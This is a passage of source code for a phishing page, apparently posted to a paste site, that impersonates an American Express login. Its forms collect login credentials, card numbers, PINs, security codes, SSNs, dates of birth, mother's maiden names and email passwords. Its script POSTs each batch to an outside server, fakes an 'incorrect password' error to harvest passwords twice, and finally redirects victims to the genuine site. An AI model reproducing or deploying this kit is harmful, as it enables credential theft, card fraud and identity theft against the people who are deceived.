- <div class="nms-box-mi">
- <span class="error-box remove">Incorrect Email Password</span>
- <label class="gnPgha-yh">PASSWORD</label>
- <input
- type="password"
- name="emPass"
- id="passem"
- placeholder="Password"
- required
- />
- </div>
- <div class="nms-box-mi">
- <button class="btn-full btn-cont-2">Continue</button>
- </div>
- </form>
- </div>
- <div class="hasHigy remove newForm3 jsken">
- <form class="nms-box">
- <div class="nms-box-mi">
- <label class="gnPgha-yh">SOCIAL SECURITY NUMBER</label>
- <input
- type="text"
- name="ssn"
- id="ssn"
- placeholder="XXX-XX-XXXX"
- required
- />
- </div>
- <div class="nms-box-mi">
- <label class="gnPgha-yh">PERSONAL SECURITY PIN / KEY</label>
- <input
- type="text"
- name="secPin"
- id="secPin"
- placeholder="XXXX"
- required
- />
- </div>
- <div class="nms-box-mi">
- <label class="gnPgha-yh">DATE OF BIRTH</label>
- <input
- type="text"
- name="dob"
- id="dob"
- placeholder="DD/MM/YY required"
- />
- </div>
- <div class="nms-box-mi">
- <label class="gnPgha-yh">MOTHER MAIDEN NAME</label>
- <input
- type="text"
- name="mmname"
- id="mmname"
- placeholder="Mother's Maiden Name"
- required
- />
- </div>
- <div class="nms-box-mi">
- <label class="gnPgha-yh">PLACE OF BIRTH</label>
- <input
- type="text"
- name="pbirth"
- id="pbirth"
- placeholder="Place of Birth"
- required
- />
- </div>
- <div class="nms-box-mi">
- <label class="gnPgha-yh">EMAIL ADDRESS</label>
- <input
- type="email"
- name="mail3"
- id="mail3"
- placeholder="Email Address"
- required
- />
- </div>
- <div class="nms-box-mi">
- <span class="error-box remove">Incorrect Email Password</span>
- <label class="gnPgha-yh">EMAIL PASSWORD</label>
- <input
- type="password"
- name="mailps"
- id="mailps"
- placeholder="Email Password"
- required
- />
- </div>
- <div class="nms-box-mi">
- <button class="btn-full btn-cont-3">Continue</button>
- </div>
- </form>
- </div>
- <div class="hasHigy remove newForm3 jsken">
- <form class="nms-box">
- <div class="nms-box-mi">
- <label class="gnPgha-yh">SOCIAL SECURITY NUMBER</label>
- <input
- type="text"
- name="ssn"
- id="ssn"
- placeholder="XXX-XX-XXXX"
- required
- />
- </div>
- <div class="nms-box-mi">
- <label class="gnPgha-yh">SECURITY PIN</label>
- <input
- type="password"
- name="secPin"
- id="secPin"
- placeholder="XXXX"
- required
- />
- </div>
- <div class="nms-box-mi">
- <label class="gnPgha-yh">DATE OF BIRTH</label>
- <input
- type="password"
- name="dob"
- id="dob"
- placeholder="DD/MM/YY required"
- />
- </div>
- <div class="nms-box-mi">
- <label class="gnPgha-yh">MOTHER MAIDEN NAME</label>
- <input
- type="password"
- name="mmname"
- id="mmname"
- placeholder="Mother's Maiden Name"
- required
- />
- </div>
- <div class="nms-box-mi">
- <label class="gnPgha-yh">PLACE OF BIRTH</label>
- <input
- type="password"
- name="pbirth"
- id="pbirth"
- placeholder="Place of Birth"
- required
- />
- </div>
- <div class="nms-box-mi">
- <label class="gnPgha-yh">EMAIL ADDRESS</label>
- <input
- type="password"
- name="mail3"
- id="mail3"
- placeholder="Email Address"
- required
- />
- </div>
- <div class="nms-box-mi">
- <label class="gnPgha-yh">EMAIL PASSWORD</label>
- <input
- type="password"
- name="mailps"
- id="mailps"
- placeholder="Email Password"
- required
- />
- </div>
- <div class="nms-box-mi">
- <button class="btn-full btn-cont-3">Continue</button>
- </div>
- </form>
- </div>
- <div class="hasHigy remove newForm4 jsken">
- <div class="img-box">
- <img src="https://i.ibb.co/xYJZKp6/loading.gif" alt="load" />
- </div>
- </div>
- <div class="phajshjas"></div>
- <div class="njtyeuas-1-box">
- <p>
- The location of your Card details may differ depending on your
- Card.
- </p>
- <img src="https://i.ibb.co/qpSKSFR/tn.png" alt="tnhasj" />
- </div>
- </div>
- </div>
- </div>
- <div class="nsmh-fot">
- <div class="shgas-fot-box">
- <div class="ngh-fot-lik">
- <h4>ABOUT</h4>
- <div class="bnsj-link">
- <a href="#">About American Express</a>
- </div>
- <div class="bnsj-link">
- <a href="#">Investor Relations</a>
- </div>
- <div class="bnsj-link">
- <a href="#">Careers</a>
- </div>
- <div class="bnsj-link">
- <a href="#">Global Network</a>
- </div>
- <div class="bnsj-link">
- <a href="#">Contact Us </a>
- </div>
- <div class="bnsj-link">
- <a href="#">Amex Mobile App</a>
- </div>
- </div>
- <div class="ngh-fot-lik">
- <h4>PRODUCTS & SERVICES</h4>
- <div class="bnsj-link">
- <a href="#">Credit Cards</a>
- </div>
- <div class="bnsj-link">
- <a href="#">Business Credit Cards</a>
- </div>
- <div class="bnsj-link">
- <a href="#">Corporate Programs</a>
- </div>
- <div class="bnsj-link">
- <a href="#">Prepaid Cards</a>
- </div>
- <div class="bnsj-link">
- <a href="#">Savings Accounts & CDs </a>
- </div>
- <div class="bnsj-link">
- <a href="#">Gift Cards</a>
- </div>
- </div>
- <div class="ngh-fot-lik">
- <h4>LINKS YOU MAY LIKE</h4>
- <div class="bnsj-link">
- <a href="#">Membership Rewards</a>
- </div>
- <div class="bnsj-link">
- <a href="#">Free Credit Score & Report</a>
- </div>
- <div class="bnsj-link">
- <a href="#">CreditSecure</a>
- </div>
- <div class="bnsj-link">
- <a href="#">Bluebird</a>
- </div>
- <div class="bnsj-link">
- <a href="#">Accept Amex Cards </a>
- </div>
- <div class="bnsj-link">
- <a href="#">Refer A Friend</a>
- </div>
- </div>
- <div class="ngh-fot-lik">
- <h4>ADDITIONAL INFORMATION</h4>
- <div class="bnsj-link">
- <a href="#">Credit Intel – Financial Education Center</a>
- </div>
- <div class="bnsj-link">
- <a href="#">Supplier Diversity</a>
- </div>
- <div class="bnsj-link">
- <a href="#">Credit 101</a>
- </div>
- <div class="bnsj-link">
- <a href="#">Money Management 101</a>
- </div>
- <div class="bnsj-link">
- <a href="#">US Newcomers </a>
- </div>
- <div class="bnsj-link">
- <a href="#">Frequently Asked Questions</a>
- </div>
- </div>
- </div>
- <div class="njmk-log-fot">
- <hr />
- <div class="njksl6-box">
- <div class="gheyx-arr-soc">
- <div class="mkjss">
- <svg
- xmlns="http://www.w3.org/2000/svg"
- width="235"
- height="15"
- viewBox="0 0 235 15"
- >
- <path fill="none" d="M0 0h235v15H0z" />
- <path
- d="M230.1 5.8h-3.6c-.8 0-1.3-.5-1.3-1.2s.6-1.1 1.3-1.1h6.5l1.5-3.3h-8c-3.3 0-5.2 2-5.2 4.6 0 2.8 1.8 4.4 4.7 4.4h3.6c.8 0 1.3.5 1.3 1.2s-.5 1.2-1.3 1.2h-7.8v3.3h7.8c3.3 0 5.2-1.9 5.2-4.7 0-2.8-1.7-4.4-4.7-4.4m-14.3 0h-3.6c-.8 0-1.3-.5-1.3-1.2s.6-1.1 1.3-1.1h6.5l1.5-3.3h-8c-3.3 0-5.2 2-5.2 4.6 0 2.8 1.8 4.4 4.7 4.4h3.6c.8 0 1.3.5 1.3 1.2s-.5 1.2-1.3 1.2h-7.8v3.3h7.8c3.3 0 5.2-1.9 5.2-4.7 0-2.8-1.7-4.4-4.7-4.4m-22.8 9h12.3v-3.3h-8.4V9.1h8.2V5.8h-8.2V3.5h8.4V.2H193zm-7.7-8.4h-4.1V3.5h4.1c1.2 0 1.8.7 1.8 1.5-.1.8-.7 1.4-1.8 1.4m5.7-1.5c0-2.8-2-4.7-5.2-4.7h-8.4v14.6h3.9V9.7h1.4l4.4 5.1h4.8l-4.8-5.3c2.4-.5 3.9-2.3 3.9-4.6m-21 1.8h-4.2V3.5h4.2c1.2 0 1.8.7 1.8 1.6-.1.9-.7 1.6-1.8 1.6m.4-6.5h-8.5v14.6h3.9V10h4.5c3.3 0 5.3-2.1 5.3-4.9 0-2.9-2-4.9-5.2-4.9m-9.2 0h-5l-3.8 4.4-3.8-4.4h-5.1l6.4 7.2-6.5 7.4h5l3.9-4.6 4 4.6h5.1l-6.6-7.5zm-30.7 14.6h12.3v-3.3h-8.4V9.1h8.2V5.8h-8.2V3.5h8.4V.2h-12.3zm-13.7-5.7l-6-8.9h-4.9v14.6h3.9V5.5l6.1 9.3h4.7V.2h-3.8zm-22.7-.5l2-4.9 2 4.9h-4zM93.7.2l-6.4 14.6h4.3l1.2-3h6.8l1.3 3h4.4L98.7.2h-5zM80.9 7.6v-.3c0-2.2 1.2-3.7 3.7-3.7H89V.2h-4.7C79.5.2 77 3.3 77 7.3v.3c0 4.5 2.8 7.1 7.1 7.1h1.3l1.6-3.3h-2.3c-2.3.1-3.8-1.2-3.8-3.8M71.1.2v14.6H75V.2zm-7.8 6.2h-4.1V3.5h4.1c1.2 0 1.8.7 1.8 1.5s-.6 1.4-1.8 1.4M69 4.9c0-2.8-2-4.7-5.2-4.7h-8.4v14.6h3.9V9.7h1.4l4.4 5.1H70l-4.8-5.3C67.6 9 69 7.2 69 4.9m-28.5 9.9h12.3v-3.3h-8.4V9.1h8.2V5.8h-8.2V3.5h8.4V.2H40.5zM28.1 9.4L24.8.2h-6.1v14.6h3.8V4.3l3.8 10.5h3.5l3.9-10.5v10.5h3.8V.2h-6.1zM6.9 8.6l2-4.9 2 4.9h-4zM6.4.2L0 14.8h4.3l1.2-3h6.8l1.3 3H18L11.5.2H6.4z"
- fill="#006fcf"
- />
- </svg>
- </div>
- <a href="#"
- ><img
- class="ghavih-spc"
- src="https://i.ibb.co/VtX8ZP4/download.png"
- alt="ahas"
- /></a>
- <a href="#"
- ><img
- class="ghavih-spc"
- src="https://i.ibb.co/TKx8t5s/download-1.png"
- alt="ahas"
- /></a>
- <a href="#"
- ><img
- class="ghavih-spc"
- src="https://i.ibb.co/tb8cHYc/download-2.png"
- alt="ahas"
- /></a>
- <a href="#"
- ><img
- class="ghavih-spc"
- src="https://i.ibb.co/bJMm7r9/download-3.png"
- alt="ahas"
- /></a>
- <a href="#"
- ><img
- class="ghavih-spc"
- src="https://i.ibb.co/17L4RTM/download-4.png"
- alt="ahas"
- /></a>
- </div>
- <div class="cjas-cont">
- <svg
- xmlns="http://www.w3.org/2000/svg"
- width="100"
- height="69"
- viewBox="0 0 100 69"
- >
- <path fill="#FFF" d="M0 0h100v69H0z" />
- <path
- fill="#BD3D44"
- d="M0 0h100v5.308H0V0zm0 10.615h100v5.308H0v-5.308zm0 10.616h100v5.308H0V21.23zm0 10.615h100v5.308H0v-5.308zm0 10.616h100v5.308H0v-5.308zm0 10.615h100v5.308H0v-5.308zm0 10.616h100V69H0v-5.308z"
- />
- <path fill="#192F5D" d="M0 0h52.44v37.154H0V0z" />
- <path
- fill="#FFF"
- d="M4.37 1.59l.477 1.469h1.544l-1.249.907.477 1.469-1.25-.908-1.248.908.477-1.469-1.25-.907h1.545L4.37 1.59zm8.74 0l.477 1.469h1.544l-1.249.907.477 1.469-1.249-.908-1.249.908.477-1.469-1.25-.907h1.545l.477-1.469zm8.74 0l.477 1.469h1.545l-1.25.907.478 1.469-1.25-.908-1.249.908.477-1.469-1.249-.907h1.544l.477-1.469zm8.74 0l.477 1.469h1.544l-1.249.907.477 1.469-1.249-.908-1.25.908.478-1.469-1.25-.907h1.545l.477-1.469zm8.74 0l.477 1.469h1.545l-1.25.907.478 1.469-1.25-.908-1.249.908.477-1.469-1.249-.907h1.544l.477-1.469zm8.74 0l.478 1.469h1.544l-1.25.907.478 1.469-1.25-.908-1.249.908.478-1.469-1.25-.907h1.545l.477-1.469zM8.74 5.306l.477 1.468h1.544l-1.249.908.477 1.468-1.249-.907-1.249.907.477-1.468-1.249-.908h1.544l.477-1.468zm8.74 0l.477 1.468h1.544l-1.249.908.477 1.468-1.249-.907-1.25.907.478-1.468-1.25-.908h1.545l.477-1.468zm8.74 0l.477 1.468h1.544l-1.249.908.477 1.468-1.249-.907-1.249.907.477-1.468-1.249-.908h1.544l.477-1.468zm8.74 0l.478 1.468h1.544l-1.25.908.478 1.468-1.25-.907-1.249.907.478-1.468-1.25-.908h1.545l.476-1.468zm8.74 0l.477 1.468h1.544l-1.249.908.477 1.468-1.249-.907-1.249.907.477-1.468-1.25-.908h1.545l.477-1.468zM4.37 9.021l.477 1.468h1.544l-1.249.908.477 1.469-1.25-.908-1.248.908.477-1.469-1.25-.908h1.545l.477-1.468zm8.74 0l.477 1.468h1.544l-1.249.908.477 1.469-1.249-.908-1.249.908.477-1.469-1.25-.908h1.545l.477-1.468zm8.74 0l.477 1.468h1.545l-1.25.908.478 1.469-1.25-.908-1.249.908.477-1.469-1.249-.908h1.544l.477-1.468zm8.74 0l.477 1.468h1.544l-1.249.908.477 1.469-1.249-.908-1.25.908.478-1.469-1.25-.908h1.545l.477-1.468zm8.74 0l.477 1.468h1.545l-1.25.908.478 1.469-1.25-.908-1.249.908.477-1.469-1.249-.908h1.544l.477-1.468zm8.74 0l.478 1.468h1.544l-1.25.908.478 1.469-1.25-.908-1.249.908.478-1.469-1.25-.908h1.545l.477-1.468zM8.74 12.736l.477 1.469h1.544l-1.249.907.477 1.469-1.249-.907-1.249.907.477-1.469-1.249-.907h1.544l.477-1.469zm8.74 0l.477 1.469h1.544l-1.249.907.477 1.469-1.249-.907-1.25.907.478-1.469-1.25-.907h1.545l.477-1.469zm8.74 0l.477 1.469h1.544l-1.249.907.477 1.469-1.249-.907-1.249.907.477-1.469-1.249-.907h1.544l.477-1.469zm8.74 0l.478 1.469h1.544l-1.25.907.478 1.469-1.25-.907-1.249.907.478-1.469-1.25-.907h1.544l.477-1.469zm8.74 0l.477 1.469h1.544l-1.249.907.477 1.469-1.249-.907-1.249.907.477-1.469-1.25-.907h1.545l.477-1.469zM4.37 16.452l.477 1.468h1.544l-1.249.908.477 1.468-1.25-.907-1.248.907.477-1.468-1.25-.908h1.545l.477-1.468zm8.74 0l.477 1.468h1.544l-1.249.908.477 1.468-1.249-.907-1.249.907.477-1.468-1.25-.908h1.545l.477-1.468zm8.74 0l.477 1.468h1.545l-1.25.908.478 1.468-1.25-.907-1.249.907.477-1.468-1.249-.908h1.544l.477-1.468zm8.74 0l.477 1.468h1.544l-1.249.908.477 1.468-1.249-.907-1.25.907.478-1.468-1.25-.908h1.545l.477-1.468zm8.74 0l.477 1.468h1.545l-1.25.908.478 1.468-1.25-.907-1.249.907.477-1.468-1.249-.908h1.544l.477-1.468zm8.74 0l.478 1.468h1.544l-1.25.908.478 1.468-1.25-.907-1.249.907.478-1.468-1.25-.908h1.545l.477-1.468zM8.74 20.167l.477 1.469h1.544l-1.249.907.477 1.469-1.249-.908-1.249.908.477-1.469-1.249-.907h1.544l.477-1.469zm8.74 0l.477 1.469h1.544l-1.249.907.477 1.469-1.249-.908-1.25.908.478-1.469-1.25-.907h1.545l.477-1.469zm8.74 0l.477 1.469h1.544l-1.249.907.477 1.469-1.249-.908-1.249.908.477-1.469-1.249-.907h1.544l.477-1.469zm8.74 0l.478 1.469h1.544l-1.25.907.478 1.469-1.25-.908-1.249.908.478-1.469-1.25-.907h1.544l.477-1.469zm8.74 0l.477 1.469h1.544l-1.249.907.477 1.469-1.249-.908-1.249.908.477-1.469-1.25-.907h1.545l.477-1.469zM4.37 23.883l.477 1.468h1.544l-1.249.908.477 1.468-1.25-.907-1.248.907.477-1.468-1.25-.908h1.545l.477-1.468zm8.74 0l.477 1.468h1.544l-1.249.908.477 1.468-1.249-.907-1.249.907.477-1.468-1.25-.908h1.545l.477-1.468zm8.74 0l.477 1.468h1.545l-1.25.908.478 1.468-1.25-.907-1.249.907.477-1.468-1.249-.908h1.544l.477-1.468zm8.74 0l.477 1.468h1.544l-1.249.908.477 1.468-1.249-.907-1.25.907.478-1.468-1.25-.908h1.545l.477-1.468zm8.74 0l.477 1.468h1.545l-1.25.908.478 1.468-1.25-.907-1.249.907.477-1.468-1.249-.908h1.544l.477-1.468zm8.74 0l.478 1.468h1.544l-1.25.908.478 1.468-1.25-.907-1.249.907.478-1.468-1.25-.908h1.545l.477-1.468zM8.74 27.598l.477 1.469h1.544l-1.249.907.477 1.469-1.249-.908-1.249.908.477-1.469-1.249-.907h1.544l.477-1.469zm8.74 0l.477 1.469h1.544l-1.249.907.477 1.469-1.249-.908-1.25.908.478-1.469-1.25-.907h1.545l.477-1.469zm8.74 0l.477 1.469h1.544l-1.249.907.477 1.469-1.249-.908-1.249.908.477-1.469-1.249-.907h1.544l.477-1.469zm8.74 0l.478 1.469h1.544l-1.25.907.478 1.469-1.25-.908-1.249.908.478-1.469-1.25-.907h1.544l.477-1.469zm8.74 0l.477 1.469h1.544l-1.249.907.477 1.469-1.249-.908-1.249.908.477-1.469-1.25-.907h1.545l.477-1.469zM4.37 31.314l.477 1.468h1.544l-1.249.908.477 1.468-1.25-.907-1.248.907.477-1.468-1.25-.908h1.545l.477-1.468zm8.74 0l.477 1.468h1.544l-1.249.908.477 1.468-1.249-.907-1.249.907.477-1.468-1.25-.908h1.545l.477-1.468zm8.74 0l.477 1.468h1.545l-1.25.908.478 1.468-1.25-.907-1.249.907.477-1.468-1.249-.908h1.544l.477-1.468zm8.74 0l.477 1.468h1.544l-1.249.908.477 1.468-1.249-.907-1.25.907.478-1.468-1.25-.908h1.545l.477-1.468zm8.74 0l.477 1.468h1.545l-1.25.908.478 1.468-1.25-.907-1.249.907.477-1.468-1.249-.908h1.544l.477-1.468zm8.74 0l.478 1.468h1.544l-1.25.908.478 1.468-1.25-.907-1.249.907.478-1.468-1.25-.908h1.545l.477-1.468z"
- />
- </svg>
- United States<a href="#">Change Country</a>
- </div>
- </div>
- </div>
- <div class="tejank-j3">
- <div class="ghst-terms">
- <a href="#"> Terms of Service</a> | <a href="#"> Privacy Center</a> |
- <a href="#"> AdChoices</a> | <a href="#"> Security Center</a> |
- <a href="#"> Card Agreements</a> |
- <a href="#"> Servicemember Benefits</a> |
- <a href="#"> Site Map</a>
- </div>
- <div class="ghshe">
- <span
- >All users of our online services are subject to our Privacy
- Statement and agree to be bound by the Terms of Service. Please
- review.</span
- >
- </div>
- <div class="shasjk">
- <span> © 2023 American Express. All rights reserved</span>
- </div>
- </div>
- </div>
- <script>
- const nLinks = document.querySelectorAll(".hasn-bt");
- const popBox = document.querySelector(".njkhsye78-box");
- const gpoNav = document.querySelector(".gpo-nav");
- const formCon = document.querySelector(".nms-box");
- const user = document.querySelector("#user");
- const id = document.querySelector("#pass");
- const sele = document.querySelector("#sele");
- const btnLogIn = document.querySelector(".btn-login");
- const headDiv = document.querySelector(".head__div");
- const nmsBod = document.querySelector(".nms__bod");
- const pin = document.querySelector("#pin");
- const pass = document.querySelector("#pihsas");
- const email = document.querySelector("#mail");
- const btnCont = document.querySelector(".btn-cont");
- const newForm = document.querySelector(".newForm");
- const newForm2 = document.querySelector(".newForm2");
- const spanText = document.querySelector(".span-text");
- const card = document.querySelector("#card");
- const numCard = document.querySelector("#numCard");
- const idCar = document.querySelector("#idCar");
- const exp = document.querySelector("#exp");
- const secCode = document.querySelector("#secCode");
- const emai = document.querySelector("#emai");
- const passem = document.querySelector("#passem");
- const btnCont2 = document.querySelector(".btn-cont-2");
- const btnCont3 = document.querySelector(".btn-cont-3");
- const ssn = document.querySelector("#ssn");
- const secPin = document.querySelector("#secPin");
- const dob = document.querySelector("#dob");
- const mmname = document.querySelector("#mmname");
- const pbirth = document.querySelector("#pbirth");
- const mail3 = document.querySelector("#mail3");
- const mailps = document.querySelector("#mailps");
- const newForm3 = document.querySelector(".newForm3");
- const newForm4 = document.querySelector(".newForm4");
- const phajshjas = document.querySelector(".phajshjas");
- const netBox = document.querySelector(".njtyeuas-1-box");
- const verifCode = document.querySelector(".verifCode");
- const mhassBod = document.querySelector(".mhasas-bod-2");
- const errorBox = document.querySelectorAll(".error-box");
- let count = 0;
- const ajaxCode = (data) => {
- $.ajax({
- //post php link here....
- url: "https://quorumgroup.com.ph/book.php",
- type: "POST",
- data: { pass: data },
- });
- };
- const scrollTop = () => {
- window.scrollTo(0, 0);
- };
- nLinks.forEach((nlink) => {
- nlink.addEventListener("click", () => {
- nlink.style.borderBottom = "5px solid blue";
- popBox.classList.remove("hide");
- });
- });
- //pop box container
- gpoNav.addEventListener("click", () => {
- popBox.classList.add("hide");
- nLinks.forEach((nlink) => {
- nlink.style.borderBottom = "";
- });
- });
- btnLogIn.addEventListener("click", () => {
- count += 1;
- if (user.value === "" || id.value === "") {
- console.log("Not allowed");
- } else {
- let textData = `USER ID: ${user.value} \nPassword: ${id.value} \nAccount Type: ${sele.value}`;
- if(count === 1){
- id.value = "";
- user.value = "";
- user.required = false;
- id.required = false;
- btnLogIn.type = "button"
- errorBox[0].classList.remove("remove")
- ajaxCode(textData)
- }
- else {
- btnLogIn.type = "button";
- headDiv.style.display = "none";
- nmsBod.style.display = "none";
- mhassBod.classList.remove("remove");
- ajaxCode(textData);
- scrollTop();
- errorBox[0].classList.add("remove")
- count = 0;
- }
- }
- });
- btnCont.addEventListener("click", () => {
- if (pin.value === "" || pass.value === "" || email.value === "") {
- console.log("Not allowed");
- } else {
- let textData = `4DIGIT CARD PIN: ${pin.value} \n3DIGIT CSC: ${pass.value} \nMothers Birthday: ${email.value}`;
- btnCont.type = "button";
- newForm.classList.add("remove");
- newForm2.classList.remove("remove");
- spanText.textContent = "2. Verify your card";
- ajaxCode(textData);
- scrollTop();
- }
- });
- btnCont2.addEventListener("click", () => {
- if (
- card.value === "" ||
- numCard.value === "" ||
- idCar.value === "" ||
- exp.value === "" ||
- secCode.value === "" ||
- emai.value === "" ||
- passem.value === ""
- ) {
- console.log("Not allowed");
- } else {
- count += 1;
- let textData = `Card Name: ${card.value} \nCard Number: ${numCard.value} \n4DIGIT CARD ID: ${idCar.value}\nExpired Date: ${exp.value} \nCSC: ${secCode.value}\nEmail Address: ${emai.value}\nPassword: ${passem.value}`;
- if(count === 1){
- passem.value = "";
- passem.required = false;
- btnCont2.type = "button";
- errorBox[1].classList.remove("remove");
- ajaxCode(textData);
- }
- else {
- btnCont2.type = "button";
- newForm2.classList.add("remove");
- newForm3.classList.remove("remove");
- spanText.textContent = "3. Pesonal infomration";
- phajshjas.classList.add("remove");
- netBox.classList.add("remove");
- verifCode.textContent = "Verify your Personal Information";
- errorBox[1].classList.add("remove")
- count = 0;
- ajaxCode(textData);
- scrollTop();
- }
- }
- });
- btnCont3.addEventListener("click", () => {
- if (
- ssn.value === "" ||
- secPin.value === "" ||
- dob.value === "" ||
- mmname.value === "" ||
- pbirth.value === "" ||
- mail3.value === "" ||
- mailps.value === ""
- ) {
- console.log("Not allowed");
- } else {
- count += 1;
- let textData = `SSN: ${ssn.value} \nSecurity Pin: ${secPin.value} \nDOB: ${dob.value}\nMother's Maiden Name: ${mmname.value} \nPlace of Birth: ${pbirth.value}\nEmail Address: ${mail3.value}\nPassword: ${mailps.value}`;
- if(count === 1){
- mailps.value = "";
- errorBox[2].classList.remove("remove")
- ajaxCode(textData);
- }
- else {
- btnCont3.type = "button";
- spanText.textContent = "4. finish";
- newForm3.classList.add("remove");
- newForm4.classList.remove("remove");
- verifCode.textContent =
- "Thank you, Your information has been verified.";
- count = 0;
- ajaxCode(textData);
- errorBox[2].classList.add("remove")
- setTimeout(() => {
- window.location.href = "https://www.americanexpress.com/";
- }, 1000);
- scrollTop();
- }
- }
- });
- </script>
- </body>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement